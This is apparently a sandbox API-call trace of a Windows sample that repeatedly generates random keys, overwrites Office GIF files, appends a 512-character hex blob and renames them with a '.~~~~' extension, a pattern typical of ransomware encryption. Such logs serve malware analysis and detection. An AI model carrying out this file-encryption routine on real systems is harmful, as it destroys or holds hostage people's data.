	[0129.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0129.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0129.500] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24948996591) returned 1
	[0129.500] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb6a0d650, dwHighDateTime=0x1d60e1e)) 
	[0129.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0129.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0129.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0129.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2822220
	[0129.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0129.500] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2822220 | out: hHeap=0x300000) returned 1
	[0129.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0129.500] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0129.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cd708
	[0129.501] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0129.501] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2838a20
	[0129.501] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cd708 | out: hHeap=0x300000) returned 1
	[0129.501] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0129.501] GetLastError () returned 0x0
	[0129.501] GetLastError () returned 0x0
	[0129.501] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0129.501] GetLastError () returned 0x0
	[0129.501] GetLastError () returned 0x0
	[0129.503] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffff47, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.503] WriteFile (in: hFile=0x11c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xb9, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0xb9, lpOverlapped=0x0) returned 1
	[0129.505] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0129.505] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.505] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0129.505] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0129.505] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0129.506] CloseHandle (hObject=0x11c) returned 1
	[0129.521] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cd9a8
	[0129.521] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115864.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115864.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115864.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115864.gif.~~~~")) returned 1
	[0129.639] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cd9a8 | out: hHeap=0x300000) returned 1
	[0129.639] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0129.639] GetLastError () returned 0x0
	[0129.639] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0129.643] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0129.643] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0129.643] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0129.643] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0129.643] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0129.643] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24963318298) returned 1
	[0129.643] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb6b642b0, dwHighDateTime=0x1d60e1e)) 
	[0129.643] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0129.643] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0129.643] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0129.643] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28224f8
	[0129.643] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0129.644] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28224f8 | out: hHeap=0x300000) returned 1
	[0129.644] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0129.644] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0129.644] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f1960
	[0129.644] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0129.644] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b19a8
	[0129.644] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1960 | out: hHeap=0x300000) returned 1
	[0129.644] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0129.644] GetLastError () returned 0x0
	[0129.644] GetLastError () returned 0x0
	[0129.644] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0129.645] GetLastError () returned 0x0
	[0129.645] GetLastError () returned 0x0
	[0129.647] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffa55, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.647] WriteFile (in: hFile=0x138, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x5ab, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0x5ab, lpOverlapped=0x0) returned 1
	[0129.650] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0129.650] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.650] WriteFile (in: hFile=0x138, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0129.650] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0129.650] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0129.650] CloseHandle (hObject=0x138) returned 1
	[0129.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3f1960
	[0129.651] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14539_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14539_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14539_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14539_.gif.~~~~")) returned 1
	[0129.652] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1960 | out: hHeap=0x300000) returned 1
	[0129.652] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0129.652] GetLastError () returned 0x0
	[0129.653] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0129.654] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0129.654] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0129.654] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0129.654] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0129.654] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0129.654] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24964441081) returned 1
	[0129.654] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb6b8a410, dwHighDateTime=0x1d60e1e)) 
	[0129.654] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0129.654] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0129.655] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0129.655] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2822530
	[0129.655] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0129.655] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2822530 | out: hHeap=0x300000) returned 1
	[0129.655] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0129.655] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0129.655] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f1960
	[0129.655] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0129.655] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2290
	[0129.655] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1960 | out: hHeap=0x300000) returned 1
	[0129.655] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0129.655] GetLastError () returned 0x0
	[0129.656] GetLastError () returned 0x0
	[0129.656] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0129.656] GetLastError () returned 0x0
	[0129.656] GetLastError () returned 0x0
	[0129.657] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffda5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.657] WriteFile (in: hFile=0x138, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x25b, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0x25b, lpOverlapped=0x0) returned 1
	[0129.659] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0129.659] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.660] WriteFile (in: hFile=0x138, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0129.660] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0129.660] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0129.660] CloseHandle (hObject=0x138) returned 1
	[0129.660] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3f1960
	[0129.660] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14594_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14594_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14594_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14594_.gif.~~~~")) returned 1
	[0129.664] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1960 | out: hHeap=0x300000) returned 1
	[0129.664] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0129.664] GetLastError () returned 0x0
	[0129.664] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0129.666] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0129.666] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0129.666] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0129.666] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0129.666] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0129.666] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24965607298) returned 1
	[0129.666] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb6bb0570, dwHighDateTime=0x1d60e1e)) 
	[0129.666] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0129.666] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0129.666] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0129.666] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2822568
	[0129.666] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0129.666] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2822568 | out: hHeap=0x300000) returned 1
	[0129.666] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0129.667] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0129.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f1960
	[0129.667] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0129.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b17e0
	[0129.667] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1960 | out: hHeap=0x300000) returned 1
	[0129.667] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0129.667] GetLastError () returned 0x0
	[0129.667] GetLastError () returned 0x0
	[0129.667] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0129.667] GetLastError () returned 0x0
	[0129.668] GetLastError () returned 0x0
	[0129.669] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffe29, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.669] WriteFile (in: hFile=0x138, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x1d7, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0x1d7, lpOverlapped=0x0) returned 1
	[0129.672] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0129.672] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.672] WriteFile (in: hFile=0x138, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0129.672] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0129.672] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0129.672] CloseHandle (hObject=0x138) returned 1
	[0129.672] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3f1960
	[0129.672] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14595_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14595_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14595_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14595_.gif.~~~~")) returned 1
	[0129.674] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1960 | out: hHeap=0x300000) returned 1
	[0129.674] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0129.674] GetLastError () returned 0x0
	[0129.675] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0129.676] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0129.676] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0129.676] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0129.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0129.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0129.676] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24966629427) returned 1
	[0129.676] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb6bd66d0, dwHighDateTime=0x1d60e1e)) 
	[0129.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0129.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0129.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0129.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28225a0
	[0129.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0129.677] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28225a0 | out: hHeap=0x300000) returned 1
	[0129.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0129.677] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0129.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f1960
	[0129.677] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0129.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1878
	[0129.677] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1960 | out: hHeap=0x300000) returned 1
	[0129.677] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0129.677] GetLastError () returned 0x0
	[0129.677] GetLastError () returned 0x0
	[0129.677] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0129.678] GetLastError () returned 0x0
	[0129.678] GetLastError () returned 0x0
	[0129.679] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffee4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.679] WriteFile (in: hFile=0x138, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0x11c, lpOverlapped=0x0) returned 1
	[0129.681] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0129.681] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.681] WriteFile (in: hFile=0x138, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0129.681] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0129.681] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0129.681] CloseHandle (hObject=0x138) returned 1
	[0129.681] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3f1960
	[0129.681] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14677_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14677_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14677_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14677_.gif.~~~~")) returned 1
	[0129.683] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1960 | out: hHeap=0x300000) returned 1
	[0129.683] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0129.683] GetLastError () returned 0x0
	[0129.683] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
